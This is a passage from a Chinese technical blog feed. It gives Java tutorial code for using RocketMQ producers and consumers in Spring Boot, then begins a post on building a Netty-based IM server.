tags, keys, e);<br>            <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">RuntimeException</span>(<span class="hljs-string">&quot;消息发送失败&quot;</span>, e);<br>        &#125;<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><h3 id="3-3-生产者使用示例"><a href="#3-3-生产者使用示例" class="headerlink" title="3.3 生产者使用示例"></a>3.3 生产者使用示例</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-meta">@RestController</span><br><span class="hljs-meta">@RequestMapping(&quot;/api/message&quot;)</span><br><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">MessageController</span> &#123;<br>    <br>    <span class="hljs-meta">@Autowired</span><br>    <span class="hljs-keyword">private</span> MessageProducerService messageProducerService;<br>    <br>    <span class="hljs-meta">@PostMapping(&quot;/send&quot;)</span><br>    <span class="hljs-keyword">public</span> String <span class="hljs-title function_">sendMessage</span><span class="hljs-params">(<span class="hljs-meta">@RequestBody</span> Map&lt;String, String&gt; params)</span> &#123;<br>        <span class="hljs-type">String</span> <span class="hljs-variable">topic</span> <span class="hljs-operator">=</span> params.get(<span class="hljs-string">&quot;topic&quot;</span>);<br>        <span class="hljs-type">String</span> <span class="hljs-variable">tags</span> <span class="hljs-operator">=</span> params.get(<span class="hljs-string">&quot;tags&quot;</span>);<br>        <span class="hljs-type">String</span> <span class="hljs-variable">body</span> <span class="hljs-operator">=</span> params.get(<span class="hljs-string">&quot;body&quot;</span>);<br>        <br>        <span class="hljs-type">SendResult</span> <span class="hljs-variable">result</span> <span class="hljs-operator">=</span> messageProducerService.sendMessage(topic, tags, body);<br>        <span class="hljs-keyword">return</span> <span class="hljs-string">&quot;消息发送成功: &quot;</span> + result.getMsgId();<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><hr><h2 id="四、消费者使用"><a href="#四、消费者使用" class="headerlink" title="四、消费者使用"></a>四、消费者使用</h2><h3 id="4-1-创建消费者配置类"><a href="#4-1-创建消费者配置类" class="headerlink" title="4.1 创建消费者配置类"></a>4.1 创建消费者配置类</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">package</span> com.example.config;<br><br><span class="hljs-keyword">import</span> org.apache.rocketmq.client.consumer.DefaultMQPushConsumer;<br><span class="hljs-keyword">import</span> org.apache.rocketmq.client.consumer.listener.ConsumeConcurrentlyStatus;<br><span class="hljs-keyword">import</span> org.apache.rocketmq.client.consumer.listener.MessageListenerConcurrently;<br><span class="hljs-keyword">import</span> org.apache.rocketmq.client.exception.MQClientException;<br><span class="hljs-keyword">import</span> org.apache.rocketmq.common.consumer.ConsumeFromWhere;<br><span class="hljs-keyword">import</span> org.apache.rocketmq.common.message.MessageExt;<br><span class="hljs-keyword">import</span> org.slf4j.Logger;<br><span class="hljs-keyword">import</span> org.slf4j.LoggerFactory;<br><span class="hljs-keyword">import</span> org.springframework.beans.factory.annotation.Value;<br><span class="hljs-keyword">import</span> org.springframework.context.annotation.Bean;<br><span class="hljs-keyword">import</span> org.springframework.context.annotation.Configuration;<br><br><span class="hljs-meta">@Configuration</span><br><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">RocketMQConsumerConfig</span> &#123;<br>    <br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">final</span> <span class="hljs-type">Logger</span> <span class="hljs-variable">logger</span> <span class="hljs-operator">=</span> LoggerFactory.getLogger(RocketMQConsumerConfig.class);<br>    <br>    <span class="hljs-meta">@Value(&quot;$&#123;rocketmq.name-server&#125;&quot;)</span><br>    <span class="hljs-keyword">private</span> String nameServer;<br>    <br>    <span class="hljs-meta">@Value(&quot;$&#123;rocketmq.consumer.group&#125;&quot;)</span><br>    <span class="hljs-keyword">private</span> String consumerGroup;<br>    <br>    <span class="hljs-meta">@Bean</span><br>    <span class="hljs-keyword">public</span> DefaultMQPushConsumer <span class="hljs-title function_">mqPushConsumer</span><span class="hljs-params">()</span> <span class="hljs-keyword">throws</span> MQClientException &#123;<br>        <span class="hljs-type">DefaultMQPushConsumer</span> <span class="hljs-variable">consumer</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">DefaultMQPushConsumer</span>();<br>        consumer.setConsumerGroup(consumerGroup);<br>        consumer.setNamesrvAddr(nameServer);<br>        <span class="hljs-comment">// 设置消费起始位置：从队列头部开始消费</span><br>        consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_FIRST_OFFSET);<br>        <span class="hljs-comment">// 设置批量消费消息数量</span><br>        consumer.setConsumeMessageBatchMaxSize(<span class="hljs-number">10</span>);<br>        <span class="hljs-comment">// 订阅主题，&quot;*&quot; 表示订阅所有 tags</span><br>        consumer.subscribe(<span class="hljs-string">&quot;your-topic-name&quot;</span>, <span class="hljs-string">&quot;*&quot;</span>);<br>        <br>        <span class="hljs-comment">// 注册消息监听器</span><br>        consumer.registerMessageListener(<span class="hljs-keyword">new</span> <span class="hljs-title class_">MessageListenerConcurrently</span>() &#123;<br>            <span class="hljs-meta">@Override</span><br>            <span class="hljs-keyword">public</span> ConsumeConcurrentlyStatus <span class="hljs-title function_">consumeMessage</span><span class="hljs-params">(</span><br><span class="hljs-params">                    java.util.List&lt;MessageExt&gt; msgs,</span><br><span class="hljs-params">                    org.apache.rocketmq.client.consumer.listener.ConsumeConcurrentlyContext context)</span> &#123;<br>                <span class="hljs-keyword">try</span> &#123;<br>                    <span class="hljs-keyword">for</span> (MessageExt msg : msgs) &#123;<br>                        <span class="hljs-type">String</span> <span class="hljs-variable">body</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">String</span>(msg.getBody());<br>                        logger.info(<span class="hljs-string">&quot;收到消息, topic:&#123;&#125;, tags:&#123;&#125;, keys:&#123;&#125;, body:&#123;&#125;&quot;</span>, <br>                                msg.getTopic(), msg.getTags(), msg.getKeys(), body);<br>                        <span class="hljs-comment">// 处理消息业务逻辑</span><br>                        processMessage(body);<br>                    &#125;<br>                    <span class="hljs-keyword">return</span> ConsumeConcurrentlyStatus.CONSUME_SUCCESS;<br>                &#125; <span class="hljs-keyword">catch</span> (Exception e) &#123;<br>                    logger.error(<span class="hljs-string">&quot;消息消费失败&quot;</span>, e);<br>                    <span class="hljs-keyword">return</span> ConsumeConcurrentlyStatus.RECONSUME_LATER;<br>                &#125;<br>            &#125;<br>        &#125;);<br>        <br>        consumer.start();<br>        logger.info(<span class="hljs-string">&quot;RocketMQ 消费者启动成功, consumerGroup:&#123;&#125;&quot;</span>, consumerGroup);<br>        <span class="hljs-keyword">return</span> consumer;<br>    &#125;<br>    <br>    <span class="hljs-comment">/**</span><br><span class="hljs-comment">     * 处理消息的业务逻辑</span><br><span class="hljs-comment">     */</span><br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">processMessage</span><span class="hljs-params">(String body)</span> &#123;<br>        <span class="hljs-comment">// <span class="hljs-doctag">TODO:</span> 实现具体的业务逻辑</span><br>        logger.info(<span class="hljs-string">&quot;处理消息: &#123;&#125;&quot;</span>, body);<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><h3 id="4-2-使用-Component-方式创建消费者"><a href="#4-2-使用-Component-方式创建消费者" class="headerlink" title="4.2 使用 @Component 方式创建消费者"></a>4.2 使用 @Component 方式创建消费者</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">package</span> com.example.consumer;<br><br><span class="hljs-keyword">import</span> org.apache.rocketmq.client.consumer.DefaultMQPushConsumer;<br><span class="hljs-keyword">import</span> org.apache.rocketmq.client.consumer.listener.ConsumeConcurrentlyStatus;<br><span class="hljs-keyword">import</span> org.apache.rocketmq.client.consumer.listener.MessageListenerConcurrently;<br><span class="hljs-keyword">import</span> org.apache.rocketmq.client.exception.MQClientException;<br><span class="hljs-keyword">import</span> org.apache.rocketmq.common.consumer.ConsumeFromWhere;<br><span class="hljs-keyword">import</span> org.apache.rocketmq.common.message.MessageExt;<br><span class="hljs-keyword">import</span> org.slf4j.Logger;<br><span class="hljs-keyword">import</span> org.slf4j.LoggerFactory;<br><span class="hljs-keyword">import</span> org.springframework.beans.factory.InitializingBean;<br><span class="hljs-keyword">import</span> org.springframework.beans.factory.annotation.Value;<br><span class="hljs-keyword">import</span> org.springframework.stereotype.Component;<br><br><span class="hljs-meta">@Component</span><br><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">MessageConsumer</span> <span class="hljs-keyword">implements</span> <span class="hljs-title class_">InitializingBean</span> &#123;<br>    <br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">final</span> <span class="hljs-type">Logger</span> <span class="hljs-variable">logger</span> <span class="hljs-operator">=</span> LoggerFactory.getLogger(MessageConsumer.class);<br>    <br>    <span class="hljs-meta">@Value(&quot;$&#123;rocketmq.name-server&#125;&quot;)</span><br>    <span class="hljs-keyword">private</span> String nameServer;<br>    <br>    <span class="hljs-meta">@Value(&quot;$&#123;rocketmq.consumer.group&#125;&quot;)</span><br>    <span class="hljs-keyword">private</span> String consumerGroup;<br>    <br>    <span class="hljs-meta">@Override</span><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">afterPropertiesSet</span><span class="hljs-params">()</span> <span class="hljs-keyword">throws</span> Exception &#123;<br>        <span class="hljs-type">DefaultMQPushConsumer</span> <span class="hljs-variable">consumer</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">DefaultMQPushConsumer</span>();<br>        consumer.setConsumerGroup(consumerGroup);<br>        consumer.setNamesrvAddr(nameServer);<br>        consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_FIRST_OFFSET);<br>        consumer.setConsumeMessageBatchMaxSize(<span class="hljs-number">10</span>);<br>        <span class="hljs-comment">// 订阅主题</span><br>        consumer.subscribe(<span class="hljs-string">&quot;your-topic-name&quot;</span>, <span class="hljs-string">&quot;*&quot;</span>);<br>        <br>        consumer.setMessageListener((MessageListenerConcurrently) (msgs, context) -&gt; &#123;<br>            <span class="hljs-keyword">for</span> (MessageExt msg : msgs) &#123;<br>                <span class="hljs-type">String</span> <span class="hljs-variable">body</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">String</span>(msg.getBody());<br>                logger.info(<span class="hljs-string">&quot;收到消息: &#123;&#125;&quot;</span>, body);<br>                <span class="hljs-comment">// 处理消息</span><br>            &#125;<br>            <span class="hljs-keyword">return</span> ConsumeConcurrentlyStatus.CONSUME_SUCCESS;<br>        &#125;);<br>        <br>        consumer.start();<br>        logger.info(<span class="hljs-string">&quot;消费者启动成功&quot;</span>);<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><h3 id="4-3-消费者配置说明"><a href="#4-3-消费者配置说明" class="headerlink" title="4.3 消费者配置说明"></a>4.3 消费者配置说明</h3><table><thead><tr><th>配置项</th><th>说明</th><th>示例</th></tr></thead><tbody><tr><td><code>setConsumerGroup()</code></td><td>消费者组名称</td><td>同一组内的消费者负载均衡消费</td></tr><tr><td><code>setNamesrvAddr()</code></td><td>NameServer 地址</td><td>从配置文件读取</td></tr><tr><td><code>setConsumeFromWhere()</code></td><td>消费起始位置</td><td><code>CONSUME_FROM_FIRST_OFFSET</code> 从第一条开始</td></tr><tr><td><code>setConsumeMessageBatchMaxSize()</code></td><td>批量消费数量</td><td>建议设置为 10</td></tr><tr><td><code>subscribe()</code></td><td>订阅 Topic 和 Tag</td><td><code>subscribe(&quot;topic&quot;, &quot;*&quot;)</code> 订阅所有 tags</td></tr></tbody></table><h3 id="4-4-消费状态说明"><a href="#4-4-消费状态说明" class="headerlink" title="4.4 消费状态说明"></a>4.4 消费状态说明</h3><ul><li><code>ConsumeConcurrentlyStatus.CONSUME_SUCCESS</code>：消费成功，消息会被确认</li><li><code>ConsumeConcurrentlyStatus.RECONSUME_LATER</code>：消费失败，消息会重新投递</li></ul><hr><h2 id="五、Topic-和-Tag-说明"><a href="#五、Topic-和-Tag-说明" class="headerlink" title="五、Topic 和 Tag 说明"></a>五、Topic 和 Tag 说明</h2><h3 id="5-1-Topic（主题）"><a href="#5-1-Topic（主题）" class="headerlink" title="5.1 Topic（主题）"></a>5.1 Topic（主题）</h3><p>Topic 是消息的逻辑分类，一个 Topic 可以包含多个消息队列。</p><h3 id="5-2-Tag（标签）"><a href="#5-2-Tag（标签）" class="headerlink" title="5.2 Tag（标签）"></a>5.2 Tag（标签）</h3><p>Tag 是 Topic 下的子分类，用于更细粒度的消息过滤。</p><h3 id="5-3-使用建议"><a href="#5-3-使用建议" class="headerlink" title="5.3 使用建议"></a>5.3 使用建议</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-comment">// 生产者：设置 Topic 和 Tag</span><br><span class="hljs-type">Message</span> <span class="hljs-variable">message</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">Message</span>();<br>message.setTopic(<span class="hljs-string">&quot;order-topic&quot;</span>);      <span class="hljs-comment">// 订单主题</span><br>message.setTags(<span class="hljs-string">&quot;order-create&quot;</span>);      <span class="hljs-comment">// 创建订单标签</span><br>message.setBody(<span class="hljs-string">&quot;订单数据&quot;</span>.getBytes());<br><br><span class="hljs-comment">// 消费者：订阅 Topic，可以指定 Tag 表达式</span><br>consumer.subscribe(<span class="hljs-string">&quot;order-topic&quot;</span>, <span class="hljs-string">&quot;order-create&quot;</span>);  <span class="hljs-comment">// 只消费创建订单的消息</span><br>consumer.subscribe(<span class="hljs-string">&quot;order-topic&quot;</span>, <span class="hljs-string">&quot;*&quot;</span>);             <span class="hljs-comment">// 消费所有标签的消息</span><br>consumer.subscribe(<span class="hljs-string">&quot;order-topic&quot;</span>, <span class="hljs-string">&quot;order-create || order-pay&quot;</span>);  <span class="hljs-comment">// 消费多个标签</span><br></code></pre></td></tr></table></figure><hr><h2 id="六、消息发送方式"><a href="#六、消息发送方式" class="headerlink" title="六、消息发送方式"></a>六、消息发送方式</h2><h3 id="6-1-同步发送"><a href="#6-1-同步发送" class="headerlink" title="6.1 同步发送"></a>6.1 同步发送</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-type">SendResult</span> <span class="hljs-variable">result</span> <span class="hljs-operator">=</span> producer.send(message);<br></code></pre></td></tr></table></figure><h3 id="6-2-异步发送"><a href="#6-2-异步发送" class="headerlink" title="6.2 异步发送"></a>6.2 异步发送</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs java">producer.send(message, <span class="hljs-keyword">new</span> <span class="hljs-title class_">SendCallback</span>() &#123;<br>    <span class="hljs-meta">@Override</span><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">onSuccess</span><span class="hljs-params">(SendResult sendResult)</span> &#123;<br>        logger.info(<span class="hljs-string">&quot;异步发送成功: &#123;&#125;&quot;</span>, sendResult);<br>    &#125;<br>    <br>    <span class="hljs-meta">@Override</span><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">onException</span><span class="hljs-params">(Throwable e)</span> &#123;<br>        logger.error(<span class="hljs-string">&quot;异步发送失败&quot;</span>, e);<br>    &#125;<br>&#125;);<br></code></pre></td></tr></table></figure><h3 id="6-3-单向发送（不关心结果）"><a href="#6-3-单向发送（不关心结果）" class="headerlink" title="6.3 单向发送（不关心结果）"></a>6.3 单向发送（不关心结果）</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs java">producer.sendOneway(message);<br></code></pre></td></tr></table></figure><hr><h2 id="七、注意事项"><a href="#七、注意事项" class="headerlink" title="七、注意事项"></a>七、注意事项</h2><ol><li><strong>NameServer 地址</strong>：确保所有服务连接到同一个 RocketMQ NameServer</li><li><strong>消费者组名称</strong>：同一消费者组内的消费者会负载均衡消费消息</li><li><strong>Topic 创建</strong>：确保 Topic 已在 RocketMQ 中创建，否则消息发送会失败</li><li><strong>消息体格式</strong>：消息体必须是字节数组，字符串需要转换为 <code>byte[]</code></li><li><strong>异常处理</strong>：生产者和消费者都要做好异常处理和日志记录</li><li><strong>消费幂等性</strong>：确保消息消费的幂等性，避免重复消费导致的问题</li><li><strong>资源释放</strong>：应用关闭时，记得关闭生产者和消费者</li></ol><hr><h2 id="八、常见问题"><a href="#八、常见问题" class="headerlink" title="八、常见问题"></a>八、常见问题</h2><h3 id="8-1-连接失败"><a href="#8-1-连接失败" class="headerlink" title="8.1 连接失败"></a>8.1 连接失败</h3><p><strong>问题</strong>：<code>connect to null failed</code></p><p><strong>原因</strong>：配置文件中 NameServer 地址未配置或配置错误</p><p><strong>解决</strong>：检查配置文件中的 <code>rocketmq.name-server</code> 配置</p><h3 id="8-2-消息发送失败"><a href="#8-2-消息发送失败" class="headerlink" title="8.2 消息发送失败"></a>8.2 消息发送失败</h3><p><strong>问题</strong>：消息发送抛出异常</p><p><strong>原因</strong>：</p><ul><li>Topic 不存在</li><li>NameServer 连接失败</li><li>网络问题</li></ul><p><strong>解决</strong>：</p><ul><li>确保 Topic 已在 RocketMQ 中创建</li><li>检查 NameServer 地址是否正确</li><li>检查网络连接</li></ul><h3 id="8-3-消息消费不到"><a href="#8-3-消息消费不到" class="headerlink" title="8.3 消息消费不到"></a>8.3 消息消费不到</h3><p><strong>问题</strong>：消费者启动成功但收不到消息</p><p><strong>原因</strong>：</p><ul><li>Topic 名称不一致</li><li>Tag 表达式不匹配</li><li>消费者组名称冲突</li></ul><p><strong>解决</strong>：</p><ul><li>确认生产者和消费者使用相同的 Topic</li><li>检查 Tag 表达式（建议使用 <code>&quot;*&quot;</code> 订阅所有）</li><li>确保消费者组名称唯一</li></ul><hr><blockquote><p>作者：NowPion<br>用代码驱动业务，让通信更稳定、更可观测。</p></blockquote>]]>
      </content:encoded>
    </item>
    <item>
      <title>Spring Boot 整合Netty框架</title>
      <link>https://blog.newpon.top/2025/11/04/SpringBoot%E6%95%B4%E5%90%88Netty%E6%A1%86%E6%9E%B6/</link>
      <description>基于 Spring Boot 整合 Netty 高性能网络通信框架，实现自定义协议长连接、心跳检测与断线重连，适用于高并发 IM 即时通讯系统。</description>
      <author>Niezidong</author>
      <category domain="https://blog.newpon.top/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.newpon.top/tags/Spring-Boot/">Spring Boot</category>
      <category domain="https://blog.newpon.top/tags/Im%E7%B3%BB%E7%BB%9F/">Im系统</category>
      <category domain="https://blog.newpon.top/tags/Netty%E6%A1%86%E6%9E%B6/">Netty框架</category>
      <pubDate>Tue, 04 Nov 2025 12:08:55 GMT</pubDate>
      <content:encoded>
        <![CDATA[<hr><h1 id="一、Maven-依赖"><a href="#一、Maven-依赖" class="headerlink" title="一、Maven 依赖"></a>一、Maven 依赖</h1><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs xml"><span class="hljs-tag">&lt;<span class="hljs-name">dependencies</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">dependency</span>&gt;</span><br>            <span class="hljs-tag">&lt;<span class="hljs-name">groupId</span>&gt;</span>io.netty<span class="hljs-tag">&lt;/<span class="hljs-name">groupId</span>&gt;</span><br>            <span class="hljs-tag">&lt;<span class="hljs-name">artifactId</span>&gt;</span>netty-all<span class="hljs-tag">&lt;/<span class="hljs-name">artifactId</span>&gt;</span><br>            <span class="hljs-tag">&lt;<span class="hljs-name">version</span>&gt;</span>4.1.97.Final<span class="hljs-tag">&lt;/<span class="hljs-name">version</span>&gt;</span><br>        <span class="hljs-tag">&lt;/<span class="hljs-name">dependency</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">dependency</span>&gt;</span><br>            <span class="hljs-tag">&lt;<span class="hljs-name">groupId</span>&gt;</span>com.alibaba<span class="hljs-tag">&lt;/<span class="hljs-name">groupId</span>&gt;</span><br>            <span class="hljs-tag">&lt;<span class="hljs-name">artifactId</span>&gt;</span>fastjson<span class="hljs-tag">&lt;/<span class="hljs-name">artifactId</span>&gt;</span><br>            <span class="hljs-tag">&lt;<span class="hljs-name">version</span>&gt;</span>2.0.10<span class="hljs-tag">&lt;/<span class="hljs-name">version</span>&gt;</span><br>        <span class="hljs-tag">&lt;/<span class="hljs-name">dependency</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">dependencies</span>&gt;</span><br></code></pre></td></tr></table></figure><hr><h1 id="二、模块概览与结构"><a href="#二、模块概览与结构" class="headerlink" title="二、模块概览与结构"></a>二、模块概览与结构</h1><ul><li>核心功能：基于 Netty 的 IM 长连接服务，统一编解码与消息路由。</li><li>主要目录与类：<ul><li><code>common/</code><ul><li><code>ImMsg</code>：消息模型，固定头（magic、len、code）+ 变长体（body）。</li><li><code>ImMsgDecode</code>：解码器，校验 magic，读取长度与消息码，解析 body。</li><li><code>ImMsgEncode</code>：编码器，按顺序写入头部与消息体。</li></ul></li><li><code>handler/</code><ul><li><code>ImServerCoreHandler</code>：核心入站处理器，统一转发到工厂。</li><li><code>ImHandlerFactory</code>、<code>ImHandlerFactoryImpl</code>：根据消息码路由到具体处理器。</li><li><code>SimplyHandler</code>：处理器接口，<code>handle(ctx, msg)</code>。</li><li><code>impl/</code>：<code>LoginMsgHandler</code>、<code>LogoutMsgHandler</code>、<code>HearteatMsgHandler</code>、<code>BizImMsgHandler</code>。</li></ul></li><li>根包：<code>NettyImServerApplication</code>：Netty 服务端启动入口。</li></ul></li></ul><hr><h1 id="三、服务端启动流程（NettyImServerApplication）"><a href="#三、服务端启动流程（NettyImServerApplication）" class="headerlink" title="三、服务端启动流程（NettyImServerApplication）"></a>三、服务端启动流程（NettyImServerApplication）</h1><ul><li>事件循环：创建 <code>bossGroup</code>（处理 accept）与 <code>workerGroup</code>（处理 read&#x2F;write）。</li><li>服务引导：<code>ServerBootstrap</code> 绑定 NIO 通道 <code>NioServerSocketChannel</code>。</li><li>Pipeline 初始化：<ul><li>添加 <code>ImMsgDecode</code>（解码）、<code>ImMsgEncode</code>（编码）。</li><li>添加 <code>ImServerCoreHandler</code>（统一分发）。</li></ul></li><li>关闭钩子：JVM 退出时优雅关闭两个事件循环组。</li><li>绑定监听：端口示例 <code>9090</code>，阻塞主线程等待 <code>closeFuture</code>。</li></ul><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">NettyImServerApplication</span> &#123;<br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">final</span> <span class="hljs-type">Logger</span> <span class="hljs-variable">LOGGER</span> <span class="hljs-operator">=</span> LoggerFactory.getLogger(NettyImServerApplication.class);<br>    <span class="hljs-comment">//指定端口</span><br>    <span class="hljs-keyword">private</span> <span class="hljs-type">int</span> port;<br><br>    <span class="hljs-keyword">public</span> <span class="hljs-type">int</span> <span class="hljs-title function_">getPort</span><span class="hljs-params">()</span> &#123;<br>        <span class="hljs-keyword">return</span> port;<br>    &#125;<br><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">setPort</span><span class="hljs-params">(<span class="hljs-type">int</span> port)</span> &#123;<br>        <span class="hljs-built_in">this</span>.port = port;<br>    &#125;<br>    <span class="hljs-comment">//基于netty启动java进程</span><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">startApplication</span><span class="hljs-params">(<span class="hljs-type">int</span> port)</span> <span class="hljs-keyword">throws</span> InterruptedException &#123;<br>        setPort(port);<br>        <span class="hljs-comment">//处理accept事件</span><br>        <span class="hljs-type">NioEventLoopGroup</span> <span class="hljs-variable">bossGroup</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">NioEventLoopGroup</span>();<br>        <span class="hljs-comment">//处理read&amp;write事件</span><br>        <span class="hljs-type">NioEventLoopGroup</span> <span class="hljs-variable">workerGroup</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">NioEventLoopGroup</span>();<br>        <span class="hljs-type">ServerBootstrap</span> <span class="hljs-variable">bootstrap</span> <span class="hljs-operator">=</span> <span 